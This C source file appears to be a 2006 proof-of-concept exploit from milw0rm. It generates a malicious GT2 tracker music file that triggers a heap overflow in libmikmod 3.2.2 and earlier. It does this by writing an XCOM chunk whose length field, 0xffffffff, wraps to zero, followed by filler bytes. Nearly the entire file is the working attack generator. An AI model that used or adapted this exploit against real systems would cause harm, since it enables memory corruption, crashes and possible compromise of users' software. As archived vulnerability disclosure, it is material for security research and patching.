477bcbdcc0
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151 lines
3.1 KiB
C
Executable file
151 lines
3.1 KiB
C
Executable file
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#define VER "0.1"
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#define cpy(x,y) strncpy(x, y, sizeof(x));
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void fwi08(FILE *fd, int num);
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void fwi16(FILE *fd, int num);
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void fwi32(FILE *fd, int num);
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void fwstr(FILE *fd, uint8_t *str);
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void fwmem(FILE *fd, uint8_t *data, int size);
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void std_err(void);
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#pragma pack(1)
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typedef struct {
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uint8_t gt2[3];
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uint8_t version;
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uint32_t chunk_size;
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uint8_t module[32];
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uint8_t comments[160];
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uint8_t date_day;
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uint8_t date_month;
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uint16_t date_year;
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uint8_t tracker[24];
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uint16_t speed;
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uint16_t tempo;
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uint16_t volume;
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uint16_t voices;
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/* voices * 2 */
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} gt2_t;
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#pragma pack()
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int main(int argc, char *argv[]) {
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FILE *fd;
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gt2_t gt2;
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int i;
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char *fname;
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setbuf(stdout, NULL);
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fputs("\n"
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"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: aluigi.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <output_file.GT2>\n"
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"\n", argv[0]);
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exit(1);
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}
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fname = argv[1];
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printf("- create file %s\n", fname);
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fd = fopen(fname, "wb");
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if(!fd) std_err();
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gt2.gt2[0] = 'G';
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gt2.gt2[1] = 'T';
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gt2.gt2[2] = '2';
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gt2.version = 4;
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gt2.chunk_size = 0; // unused
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cpy(gt2.module, "module_name");
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cpy(gt2.comments, "author");
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gt2.date_day = 1;
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gt2.date_month = 1;
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gt2.date_year = 2006;
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cpy(gt2.tracker, "tracker");
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gt2.speed = 6;
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gt2.tempo = 300;
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gt2.volume = 0;
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gt2.voices = 0;
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printf("- write GT2 header\n");
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fwrite(>2, sizeof(gt2), 1, fd);
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for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);
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printf("- build the XCOM header for exploiting the heap overflow\n");
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fwmem(fd, "XCOM", 4);
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fwi32(fd, 0); // unused
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fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 = 0
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fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
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fclose(fd);
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printf("- finished\n");
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return(0);
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}
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void fwi08(FILE *fd, int num) {
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fputc((num ) & 0xff, fd);
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}
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void fwi16(FILE *fd, int num) {
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fputc((num ) & 0xff, fd);
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fputc((num >> 8) & 0xff, fd);
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}
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void fwi32(FILE *fd, int num) {
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fputc((num ) & 0xff, fd);
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fputc((num >> 8) & 0xff, fd);
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fputc((num >> 16) & 0xff, fd);
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fputc((num >> 24) & 0xff, fd);
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}
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void fwstr(FILE *fd, uint8_t *str) {
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fputs(str, fd);
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}
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void fwmem(FILE *fd, uint8_t *data, int size) {
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fwrite(data, size, 1, fd);
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}
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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// milw0rm.com [2006-07-25]
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